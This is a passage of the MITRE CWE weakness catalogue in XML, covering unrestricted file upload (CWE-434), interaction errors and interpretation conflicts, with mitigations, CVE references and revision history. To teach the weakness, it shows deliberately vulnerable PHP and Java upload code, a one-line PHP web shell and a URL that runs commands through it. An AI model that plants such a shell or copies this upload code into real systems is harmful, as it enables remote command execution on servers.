               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-22">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Sandbox or Jail</Strategy>
               <Description>
                  <xhtml:p>Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.</xhtml:p>
                  <xhtml:p>OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.</xhtml:p>
                  <xhtml:p>This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.</xhtml:p>
                  <xhtml:p>Be careful to avoid CWE-243 and other weaknesses related to jails.</xhtml:p>
               </Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".</Intro_Text>
               <Example_Code Nature="Good" Language="HTML">
                  <xhtml:div>&lt;form action="upload_picture.php" method="post" enctype="multipart/form-data"&gt;<xhtml:br/>
                     <xhtml:br/>Choose a file to upload:<xhtml:br/>&lt;input type="file" name="filename"/&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>&lt;input type="submit" name="submit" value="Submit"/&gt;<xhtml:br/>
                     <xhtml:br/>&lt;/form&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Once submitted, the form above sends the file to upload_picture.php on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent pictures/ directory.</Body_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Define the target location where the picture being</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// uploaded is going to be saved.</xhtml:i>
                     <xhtml:br/>$target = "pictures/" . basename($_FILES['uploadedfile']['name']);<xhtml:br/>
                     <xhtml:br/>
                     <xhtml:i>// Move the uploaded file to the new location.</xhtml:i>
                     <xhtml:br/>if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))<xhtml:br/>{<xhtml:div style="margin-left:1em;">echo "The picture has been successfully uploaded.";</xhtml:div>}<xhtml:br/>else<xhtml:br/>{<xhtml:div style="margin-left:1em;">echo "There was an error uploading the picture, please try again.";</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that pictures/ is available in the web document root, an attacker could upload a file with the name:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>malicious.php</xhtml:div>
               </Example_Code>
               <Body_Text>Since this filename ends in ".php" it can be executed by the web server. In the contents of this uploaded file, the attacker could use:</Body_Text>
               <Example_Code Nature="Attack" Language="PHP">
                  <xhtml:div>&lt;?php<xhtml:div style="margin-left:1em;">system($_GET['cmd']);</xhtml:div>
                     <xhtml:br/>?&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</xhtml:div>
               </Example_Code>
               <Body_Text>which runs the "ls -l" command - or any other type of command that the attacker wants to specify.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-22">
               <Intro_Text>The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.</Intro_Text>
               <Example_Code Nature="Good" Language="HTML">
                  <xhtml:div>&lt;form action="FileUploadServlet" method="post" enctype="multipart/form-data"&gt;<xhtml:br/>
                     <xhtml:br/>Choose a file to upload:<xhtml:br/>&lt;input type="file" name="filename"/&gt;<xhtml:br/>&lt;br/&gt;<xhtml:br/>&lt;input type="submit" name="submit" value="Submit"/&gt;<xhtml:br/>
                     <xhtml:br/>&lt;/form&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class FileUploadServlet extends HttpServlet {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:br/>protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:br/>
                           <xhtml:div style="margin-left:1em;">
                              <xhtml:div>response.setContentType("text/html");<xhtml:br/>PrintWriter out = response.getWriter();<xhtml:br/>String contentType = request.getContentType();<xhtml:br/>
                                 <xhtml:br/>// the starting position of the boundary header<xhtml:br/>int ind = contentType.indexOf("boundary=");<xhtml:br/>String boundary = contentType.substring(ind+9);<xhtml:br/>
                                 <xhtml:br/>String pLine = new String();<xhtml:br/>String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value<xhtml:br/>
                                 <xhtml:br/>// verify that content type is multipart form data<xhtml:br/>if (contentType != null &amp;&amp; contentType.indexOf("multipart/form-data") != -1) {<xhtml:br/>
                                 <xhtml:div style="margin-left:1em;">
                                    <xhtml:div>// extract the filename from the Http header<xhtml:br/>BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));<xhtml:br/>...<xhtml:br/>pLine = br.readLine();<xhtml:br/>String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));<xhtml:br/>...<xhtml:br/>
                                       <xhtml:br/>// output the file to the local upload directory<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));<xhtml:br/>for (String line; (line=br.readLine())!=null; ) {<xhtml:div style="margin-left:1em;">if (line.indexOf(boundary) == -1) {<xhtml:div style="margin-left:1em;">bw.write(line);<xhtml:br/>bw.newLine();<xhtml:br/>bw.flush();</xhtml:div>}</xhtml:div>} //end of for loop<xhtml:br/>bw.close();</xhtml:div>
                                       </xhtml:div>
                                       <xhtml:br/>
                                       <xhtml:br/>} catch (IOException ex) {...}<xhtml:br/>// output successful upload response HTML page</xhtml:div>
                                 </xhtml:div>}<xhtml:br/>// output unsuccessful upload response HTML page<xhtml:br/>else<xhtml:br/>{...}</xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.</Body_Text>
               <Body_Text>Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0901</Reference>
               <Description>Web-based mail product stores ".shtml" attachments that could contain SSI</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0901</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1841</Reference>
               <Description>PHP upload does not restrict file types</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1841</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1868</Reference>
               <Description>upload and execution of .php file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1868</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1881</Reference>
               <Description>upload file with dangerous extension</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1881</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0254</Reference>
               <Description>program does not restrict file types</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0254</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2262</Reference>
               <Description>improper type checking of uploaded files</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2262</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4558</Reference>
               <Description>Double "php" extension leaves an active php extension in the generated filename.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4558</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6994</Reference>
               <Description>ASP program allows upload of .asp files by bypassing client-side checks</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6994</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3288</Reference>
               <Description>ASP file upload</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3288</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2428</Reference>
               <Description>ASP file upload</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2428</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unrestricted File Upload</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A3</Entry_ID>
               <Entry_Name>Malicious File Execution</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-434</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-422"/>
            <Reference External_Reference_ID="REF-423"/>
            <Reference External_Reference_ID="REF-424"/>
            <Reference External_Reference_ID="REF-76"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;File Uploading&#34;, Page 1068"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-434"/>
         </References>
         <Notes>
            <Note Type="Relationship">
               <xhtml:p>This can have a chaining relationship with incomplete denylist / permissive allowlist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184).</xhtml:p>
               <xhtml:p>This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>converted from Compound_Element to Weakness</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Name, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Type, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated References, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Weakness_Ordinalities</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationship_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-02-16">Unrestricted File Upload</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="435" Name="Improper Interaction Between Multiple Correctly-Behaving Entities" Abstraction="Pillar" Structure="Simple" Status="Draft">
         <Description>An interaction error occurs when two entities have correct behavior when running independently of each other, but when they are integrated as components in a larger system or process, they introduce incorrect behaviors that may cause resultant weaknesses.</Description>
         <Extended_Description>When a system or process combines multiple independent components, this often produces new, emergent behaviors at the system level.  However, if the interactions between these components are not fully accounted for, some of the emergent behaviors can be incorrect or even insecure.</Extended_Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Interaction Error</Term>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Emergent Fault</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Interaction Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-568"/>
         </References>
         <Notes>
            <Note Type="Relationship">The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Name, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Interaction Errors</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Interaction Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2018-03-27">Improper Interaction Between Multiple Entities</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="436" Name="Interpretation Conflict" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.</Description>
         <Extended_Description>This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="435" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP.</Intro_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1215</Reference>
               <Description>Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1215</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0485</Reference>
               <Description>Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0485</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1978</Reference>
               <Description>FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1978</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1979</Reference>
               <Description>FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1979</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0637</Reference>
               <Description>Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1777</Reference>
               <Description>AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1777</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3310</Reference>
               <Description>CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3310</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4260</Reference>
               <Description>Interpretation conflict allows XSS via invalid "&lt;" when a "&gt;" is expected, which is treated as "&gt;" by many web browsers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4260</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-4080</Reference>
               <Description>Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-4080</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Multiple Interpretation Error (MIE)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>27</Entry_ID>
               <Entry_Name>HTTP Response Smuggling</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
